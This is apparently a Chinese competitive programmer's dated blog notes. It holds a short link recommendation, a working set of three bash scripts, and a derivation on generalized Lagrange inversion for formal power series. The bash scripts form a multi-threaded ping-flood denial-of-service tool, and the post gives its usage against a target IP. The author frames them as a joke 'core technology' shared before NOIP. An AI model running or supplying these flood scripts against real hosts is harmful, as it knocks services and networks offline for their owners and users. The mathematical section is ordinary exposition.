2023.11.15 闲话

好文推荐 .

想起来简单算术那个题，可能可以用来解释什么时候序列有同余性质（Lucas），应该某时我会看看 .

马上 NOIP 了，赶快把核心技术给大家分享了：

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ping.sh

nohup ping $1 -s 65507 -i 0.2

ddos-single.sh

while true; do
	(nohup bash ping.sh $1)&
	sleep 0.5
done

ddos.sh

if [ $2 -eq $_apj_is_furry_ ]; then
	let t=10
else
	let t=$2
fi
for ((i=1; i<=$t; i++)) do
	(bash ddos-single.sh $1 >& /dev/null)&
done
echo PRESS ANY KEY TO END
read
killall ping
killall bash

Usage: bash ddos.sh <ip> <tc>，tc 是线程数默认为 10，开的时间太久或线程太多可能会死 .

可能不会有什么真正的用处，不过比较有趣 .

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对于 $F(z)$ 是常数项为 1 的形式幂级数，定义：

$$\mathcal F_t(z)=F(z\cdot\mathcal F_t(z)^t)$$

（qwaszx）

先想一下最简单的提取 $\mathcal F_t(z)^k$，直接拉反即可：

$$\begin{aligned}\![z^n]\mathcal F_t(z)^k&=\dfrac1n[z^{n-1}](F(z)^k)'F(z)^{tn}\\&=\dfrac k{tn+k}\dfrac1n[z^{n-1}]F(z)^{tn+k}\\&=\dfrac k{tn+k}f_n(tn+k)\end{aligned}$$

也就是：

$$\mathcal F_t(z)^k=\sum_{n\ge 0}\dfrac k{tn+k}f_n(tn+k)z^n$$

使用求导的技巧去掉右式中的分式：

$$\mathcal F_t(z)^k+\dfrac{zt}k(\mathcal F_t(z)^k)'=\sum_{n\ge0}f_n(tn+k)z^n$$

$\mathcal F_t(z)'$ 可以直接由 ODE（这里好像也不能叫 ODE，不管了）解出：

$$\mathcal F_t(z)'=F'(z\mathcal F_t(z)^t)(\mathcal F_t(z)^t+zt\mathcal F_t(z)^{t-1}\mathcal F_t(z)')$$

回代即得：

$$\dfrac{\mathcal F_t(z)^k}{1-zt\mathcal F_t(z)^{t-1}F'(z\mathcal F_t(z)^t)}=\sum_{n\ge0}f_n(tn+k)z^n$$

（$F(z)=1+z$：广义二项级数；$F(z)=\mathrm e^z$：广义指数级数；$F(z)=\dfrac z{1-\mathrm e^{-z}}$：斯特林多项式）

这启示我们：这个式子如果不是要从左推到右，也可以直接对右边导出封闭形式后求解 .